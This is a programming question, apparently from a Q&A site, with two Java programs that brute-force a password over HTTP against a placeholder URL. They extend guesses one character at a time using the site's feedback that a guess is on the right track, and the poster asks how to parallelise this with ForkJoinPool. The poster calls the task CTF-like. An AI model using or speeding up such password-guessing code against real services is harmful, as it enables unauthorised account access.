The problem I am doing requires me to send requests to a website and check whether a specific password is correct. It is somewhat similar to a CTF problem, but I use brute force to generate the correct password key, as the site gives feedback whether a specific key is on the right track. In order for a key to be considered "almost-valid," it must be a substring of the correct key.
I have implemented this naively, but the intended solution uses simple parallelism to speed up the process. How would I accomplish this in Java?
import java.net.*;
import java.io.*;
import java.nio.charset.StandardCharsets;
public class Main {
    static boolean check(StringBuilder s) throws IOException{
        String test = "https://example.com?pass=";
        String q = URLEncoder.encode(s.toString(), StandardCharsets.UTF_8);
        URL site = new URL(test+q);
        URLConnection yc = site.openConnection();
        BufferedReader in = new BufferedReader(new InputStreamReader(yc.getInputStream()));
        String inputLine;
        while ((inputLine = in.readLine()) != null) {
            //System.out.println(inputLine);
            if (inputLine.contains("Incorrect password!")) {
                return false;
            }
            if (inputLine.contains("the correct password!")) {
                System.out.println(s);
                System.exit(0);
            }
        }
        return true;
    }
    static void gen(StringBuilder s) throws IOException {
        if (!check(s)) {
            return;
        }
        for (int i = 33; i<127; i++) {
            int len = s.length();
            gen(s.append((char) i));
            s.setLength(len);
        }
    }
    public static void main(String[] args) throws IOException, InterruptedException {
        gen(new StringBuilder("start")); 
    }
}
EDIT: I have attempted to implement RecursiveAction & ForkJoinPool, but the code seems just as slow as the naive implementation. Am I implementing the parallelism incorrectly?
import java.nio.charset.StandardCharsets;
import java.util.concurrent.*;
import java.util.*;
import java.io.*;
import java.net.*;
public class cracked4 {
    static class Validator extends RecursiveAction{
        public String password;
        public Validator(String p) {
            password = p;
        }
        @Override
        protected void compute(){
            try {
                if (!valid(password)) return;
                System.out.println(password);
                ArrayList<Validator> futures = new ArrayList<>();
                for (int i = 33; i<127; i++) {
                    futures.add(new Validator(password + (char) i));
                }
                for (Validator t: futures) {
                    ForkJoinTask.invokeAll(t);
                }
                } catch (IOException e) {
                e.printStackTrace();
            }
        }
        public boolean valid(String s) throws IOException {
            String test = "https://example.com?pass=" + URLEncoder.encode(s, StandardCharsets.UTF_8);
            URL site = new URL(test);
            URLConnection yc = site.openConnection();
            BufferedReader in = new BufferedReader(new InputStreamReader(yc.getInputStream()));
            String inputLine;
            while ((inputLine = in.readLine()) != null) {
                if (inputLine.contains("Incorrect password!")) {
                    return false;
                }
                if (inputLine.contains("the correct password!")) {
                    System.out.println(s);
                    System.exit(0);
                }
            }
            return true;
        }
    }
    public static void main(String[] args) {
        ForkJoinPool forkJoinPool = new ForkJoinPool();
        forkJoinPool.invoke(new Validator("cararra"));
    }
}
Furthermore, is there a certain UID serial I need? I researched about it, but I could not find a specific answer.
 
    